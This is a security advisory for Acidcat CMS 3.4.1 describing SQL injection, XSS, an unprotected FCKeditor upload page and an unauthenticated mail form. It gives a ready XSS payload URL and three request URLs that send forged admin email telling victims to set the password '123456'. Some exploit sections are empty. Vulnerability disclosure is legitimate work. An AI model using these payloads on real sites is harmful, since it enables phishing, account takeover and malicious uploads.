########################## www.BugReport.ir ####################################### # # AmnPardaz Security Research Team # # Title: Acidcat CMS Multiple Vulnerabilities. # Vendor: www.acidcat.com # Vulnerable Version: 3.4.1 # Exploit: Available # Impact: High # Fix: N/A # Original Advisory: http://bugreport.ir/index.php?/36 ################################################################################### #################### 1. Description: #################### Acidcat CMS is a web site and simple Content Management System that can be administered via a web browser. #################### 2. Vulnerability: #################### 2.1. There is a SQL Injection in "default.asp". By using it, attacker can gain usernames and encrypted passwords. 2.1.1. POC: Check the exploit section. 2.2. There is a logical vulnerability in which attacker can send email by the site without any permission. 2.2.1. POC: Check the exploit section. 2.3. There is a SQL Injection in "main_login2.asp". By using it, attacker can login to the site. 2.3.1. POC: Check the exploit section. 2.4. There is a XSS in "/admin/admin_colors_swatch.asp". 2.4.1. POC: /admin/admin_colors_swatch.asp?field=value='';}alert('XSS');function(){myForm.myText 2.5. There is a FckEditor which has no permission, and attacker can upload his/her file. 2.5.1. POC: /admin/fckeditor/editor/filemanager/connectors/test.html #################### 3. Exploits: #################### Original Exploit URL: http://bugreport.ir/index.php?/36/exploit 3.1. Attacker can gain usernames and passwords: -------------

------------- 3.2. Attacker can send email without any permission: ------------- default_mail_aspemail.asp? AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456! default_mail_cdosys.asp? AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456! default_mail_jmail.asp? AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456! ------------- 3.3. Attacker can login to the site: -------------


------------- #################### 4. Solution: #################### Edit the source code to ensure that inputs are properly sanitized. #################### - Credit : #################### AmnPardaz Security Research & Penetration Testing Group Contact: admin[4t}bugreport{d0t]ir WwW.BugReport.ir WwW.AmnPardaz.com